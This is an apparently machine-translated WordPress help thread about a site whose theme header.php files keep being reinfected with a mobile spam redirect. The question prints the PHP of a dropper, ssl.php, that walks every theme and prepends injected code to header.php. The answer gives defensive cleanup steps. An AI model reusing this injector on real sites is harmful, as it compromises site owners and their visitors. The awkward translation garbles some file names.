如何阻止对自定义主题的header.php的重复黑客攻击?

时间:2017-07-24 作者:Lax Mariappan

注意到网站根文件夹上有一些不需要的文件,并将其删除。我找到了那个标题。php文件包含一些恶意代码,这些代码只能重定向到移动浏览器上的垃圾邮件网站。

当这些文件存在时。htaccess pretty permalinks不起作用。

我已经更改了Cpanel、FTP密码。已删除以下列出的不需要的文件。已扫描所有文件和文件夹。

在干净地安装wordpress和插件之后,会重复添加这些文件。

服务器:使用Cpanel/FileZilla的共享主机/linux服务器文件传输

如何阻止这些重复的攻击?

恶意脚本列表。

ssl。php有以下代码

if (file_exists("wp-content"))
{
if (file_exists("wp-content/themes"))
{
    $dirs = scandir("wp-content/themes");
    foreach ($dirs as $dir)
    {
        if ((is_dir("wp-content/themes/$dir")) AND ($dir !== ".") AND ($dir !== "..")) 
        {
            if (file_exists("wp-content/themes/$dir/header.php")) 
            {
                          $file = fopen("wp-content/themes/".$dir."/header.php", "r");  
                          $buffer = fread($file, filesize("wp-content/themes/".$dir."/header.php")); 
                          fclose($file);    
               if (eregi(\'ba9hus.in\', $buffer)==0) 
               { 

                            $in = fopen("wp-content/themes/".$dir."/header.php", "w");
                             fwrite($in, $code);
                             fwrite($in, $buffer);
                             fclose($in);
                /*       
                   $in = fopen("wp-content/themes/$dir/header.php", "a");
                   fwrite($in, $code);
                   fclose($in);
                   */
               }
            }
        }
    }
}
}
ssl。php可湿性粉剂ssl。php可湿性粉剂ssl。zip新闻解析器。班php

1 个回复
SO网友:Rick Hellewell

检查所有WP文件夹的权限。检查htaccess文件。删除整个托管区域中的所有未知文件。(小心。)更改所有托管密码(包括FTP帐户;删除任何您不知道的密码)。强密码!

重新安装WP(从您的管理面板,更新)。重新安装所有主题(停用、卸载、重新安装、重新激活)。插件也是如此(尽管header.php可能在您的主题文件中)。

谷歌上有很多关于恢复被黑客入侵的WP安装的建议(按“去年”过滤你的搜索)。

您还可以在您的托管帐户上的一个单独文件夹中安装一个全新的WP。这里需要做更多的工作,因为您需要调整域设置,复制数据(工具,导出,然后工具,导入),并重新执行所有主题和插件设置。

对您最近安装的任何插件/主题都要小心。确保所有内容都是最新的(WP、主题、插件)。还要检查您的本地计算机是否存在奇怪之处(如更新本地操作系统和应用程序)。

更改托管帐户上的所有密码(托管帐户、WP、数据库、FTP、电子邮件)。并在本地计算机上。

祝你好运

个人意见如下

(顺便说一句,几年前我停止使用FileZilla,因为我发现他们将凭据(用户/密码)存储在一个可以在本地PC上轻松访问的纯文本文件中。从那以后就没有使用过,不知道他们是否修复了它;当时他们并不认为这是vuln。现在就使用WinSCP吧。你的里程可能会有所不同。)

结束